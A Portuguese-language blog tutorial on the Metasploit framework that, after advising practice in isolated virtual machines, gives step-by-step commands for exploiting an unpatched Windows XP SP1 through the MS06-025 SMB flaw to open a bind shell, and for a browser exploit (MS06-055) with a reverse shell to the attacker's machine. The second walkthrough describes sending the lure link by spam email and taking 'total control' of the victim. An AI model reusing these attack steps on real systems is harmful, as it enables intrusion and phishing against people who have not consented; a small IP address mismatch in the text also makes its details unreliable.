Metasploit

Hackear pode ser perigoso para você mesmo. Seja cuidadoso e pratique no seu “laboratório” para aperfeiçoar suas habilidades sem colocar em risco os seus próprios sistemas. Basicamente, um laboratório de hackers consiste em várias máquinas virtuais em um único computador (e vários sistemas operacionais). Se você faz uma merda, você pode apenas reiniciar a máquina virtual e não haverá danos permanentes.

Existem muitos programas de máquinas virtuais por aí. Os mais populares são QEMU (desenvolvido para sistemas Linux), VMware (para computadores Linux e Windows), e VirtualBox (compatível com Linux, Mac ou Windows). Estes programas estão disponíveis gratuitamente. Considero o VirtualBox a sua melhor opção.

Depois de instalar uma máquina virtual, é preciso instalar um ou mais sistemas operacionais nela. Os sistemas modernos têm defesas excelentes, logo os novatos devem focar nos antigos, começando com Windows XP e Metasploitable.

O Windows XP tem muitas vulnerabilidades bem conhecidas. Pode ser um excelente alvo para praticar; hackear este sistema operacional com Metasploit é um passeio no parque.

O Metasploitable, por outro lado, é um sistema baseado em Linux especialmente criado para hackear, ele já contém ferramentas para treinamento de segurança, testes de segurança e para praticar técnicas comuns de teste de penetração (Pentest).

O Metasploit Framework

No post anterior mostrei como hackear o Android, remotamente, usando o Metasploit, sem muitas explicações. Agora vou um pouco mais fundo nesta ferramenta.

 

Metasploit Básico

 

Metasploit não é um programa típico, trata-se de uma estrutura complexa de ferramentas para obter informações e executar ataques a um determinado alvo; é útil quando se trata de reconhecimento e execução de ataque. Deve-se ter em mente que o Metasploit é um framework multi-plataforma, isso significa que você não é forçado a usar o Windows, se preferir sistemas Linux, saiba que o Metasploit já vem pré-instalado nas versões mais recentes do Kali Linux.

Nota importante: O Kali Linux é um sistema operacional desenvolvido para hackers e testadores de penetração, vem com um conjunto completo de ferramentas. Para obtê-lo gratuitamente, basta visitar https://www.kali.org/downloads/ e escolher a versão adequada.

Nunca exponha a sua VM a uma rede não confiável (use o modo NAT ou Host-only se você tiver alguma dúvida sobre o que isso significa).

 

Como Executar Exploits Usando o Metasploit

 

Para ilustrar este post vou usar o framework Metasploit em uma máquina virtual com Kali Linux; começarei com um ataque básico. As etapas a seguir ilustrarão como invadir um computador com o Windows XP SP1, a versão não corrigida desse service pack não tem a atualização de segurança MS06-025, e o Metasploit tem uma façanha para esta vulnerabilidade.

Antes de usar Metasploit, é necessário discutir o que são exploits. Um exploit é um código que “explora” uma vulnerabilidade existente em um alvo. Se o ataque do exploit for bem-sucedido, o hacker será capaz de manipular o computador ou a rede. Como mencionado anteriormente, o Metasploit contém milhares de exploradores (exploits) para diferentes máquinas e sistemas. Pode-se até usar o Metasploit para dispositivos móveis, como foi mostrado no post anterior.

  1. Abri um terminal, digitei “msfconsole” e pressionei a tecla Enter:

 

fig Metasploit01.jpg

2. Acessei a máquina virtual e identifiquei o meu endereço IP. Para obter essas informações, digitei “ipconfig” no Terminal e usando o endereço IP para especificar o alvo de seu ataque. O endereço IP da minha máquina virtual é “172.16.162.222”.

3. Voltando para o Metasploit e digitei o comando “show“. O terminal mostrou-me uma longa lista de exploits, escolhi o mais adequado para o meu destino: “windows/smb/ms06_025_rras”, então digitei:

 use windows/smb/ms06_025_rras

4. Os exploits trabalham de acordo com as opções escolhidas, para listar digitei:

show options

fig Metasploit02

Aqui, “RHOST” refere-se ao endereço IP do seu alvo enquanto “RPORT” se refere à porta que você vai usar no ataque. “SMBPIPE“, por outro lado, refere-se ao nome do tubo (pipe). Usei a seguinte sintaxe:

set RHOST 172.16.162.222

Nota importante: Na maioria dos casos, o Metasploit diferencia maiúsculas de minúsculas quando se trata de seus parâmetros.

5. A seguir indiquei a carga útil (payload) e o alvo. Simplificando, um payload é um evento que ocorre uma vez concluída a exploração. Existem diferentes tipos de payloads na estrutura do Metasploit. Para saber quais payloads são compatíveis com o exploit escolhido, digitei:

show payloads

Dos três payloads para o exploit windows/smb/ms06_025_rras. Escolhi o shell bind básico para manter as coisas simples, as configurações padrão:

set PAYLOAD windows/shell_bind_tcp6

6. Digitei

show options

Novamente, para me certificar de que inseri os parâmetros necessários.

7. Uma vez conferido, enviei o comando “show targets“. O Metasploit mostrou todos os destinos disponíveis na rede. Escolhi o número de identificação da máquina certa e digitei:

set TARGET (id number) (no caso, set TARGET 3)

8. Em seguida, executei o ataque, digitando

exploit

9. A tela disse que uma tentativa de login falhou. Porém, autenticação não deve ser necessária para tal versão do Windows XP, o boletim de segurança da Microsoft afirma que o XP SP1 é “Anonimamente Atacável “. Sempre que encontrar esse tipo de problema, obtenha mais informações sobre o exploit que você está usando. Você pode obter essas informações digitando “info” e pressionando Enter; o Metasploit mostrará informações detalhadas sobre o exploit (por exemplo, as opções de payloads que você pode usar). Uma seção de “descrição” vem no final da página. Aqui está o que diz:

fig Metasploit03

De acordo com essa descrição, devo definir “SMBPIPE” (uma das opções do SRVSVC. O valor atual dessa opção, no entanto, é “ROUTER“. Isso significa que posso corrigir o problema digitando:

set SMBPIPE SRVSVC

10. Enviando novamente, o comando “exploit“, desta vez, o Metasploit disse que um shell foi aberto no alvo. Agora posso usar esse terminal para manipular o alvo ou obter informações dele.

Nota importante: Neste ataque básico eu já sabia a vulnerabilidade e endereço IP do destino. Esta situação raramente acontece na vida real. Normalmente, é necessário executar etapas preparatórias (por exemplo, varredura de ping, scan) para coletar as informações necessárias.

Como executar ataques do lado do cliente usando Metasploit

 

A maioria dos computadores e redes tem um firewall. Este mecanismo de segurança protege um computador ou rede de ataques externos. Em geral, é difícil invadir alvos que têm proteção de firewall ativa; mas é possível sim, através de vários métodos. Por exemplo, posso incorporar um payload em um arquivo e pedir ao usuário para abrir ou instalar tal arquivo contaminado. Quando o payload for executado, serei capaz de manipular o computador da vítima como quiser.

Nota importante: Como o usuário abre o arquivo em sua extremidade, a transmissão de dados entre o payload e o hacker atravessam o firewall sem problemas.

Mostrando outro exemplo básico:

  1. Iniciei o framework Metasploit novamente e digitei

show exploits

  1. Rolei para baixo e procurei explorações que funcionam em navegadores. Como desejo segmentar as maquinas Windows, procurei exploits que começam com “windows/browser/ …”Escolhi o “ms06_055_vml_method”.
  2. Problema: “use windows/browser/ms06_055_vml” seguido de “show options“.
  3. Este exploit tem três opções: SRVHOST, SRVPORT e URIPATH. A opção SRVHOST refere-se ao endereço IP do meu computador (isto é, o que eu estou usando para executar o ataque). A opção SRVPORT refere-se à porta que usarei para a exploração. Por fim, o URIPATH refere-se ao texto que colocarei na seção final da URL escolhida. Por exemplo, o meu endereço IP é “172.168.4.34”, vou configurar a URL falsa assim:

http://192.168.4.34:8080/escolha_seu_premio.htm

Logo, digitei:

set SRVHOST 192.168.4.34

set URIPATH escolha_seu_premio.htm

5. Agora, defini o payload para forçar o computador atacado a se conectar de volta à minha máquina. O payload “windows/shell_reverse_tcp” abre um terminal através de uma conexão TCP. Em seguida, enviei os seguintes comandos:

set LPORT 4444

set LHOST 192.168.4.34

set EXITFUNC seh

E digitei:

exploit

Aguardei a vítima acessar a URL criada. A URL foi enviada através de e-mails de spam. Quando a vítima clicou no link, o Metasploit acionou o payload, controle total do alvo.  Tango Down!

Nota importante: Todos os dias, os hackers descobrem novas vulnerabilidades e desenvolvem novos exploits, isso significa que os programas internos do seu framework Metasploit serão desatualizados em algum momento. Não se preocupe, você pode atualizar seu banco de dados exploit manualmente, basta visitar https://www.exploit-db.com/ e fazer o download dos últimos exploits… e aprender mais sobre eles [;>))

Anúncios

1 comentário

Deixe um comentário

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair /  Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair /  Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair /  Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair /  Alterar )

Conectando a %s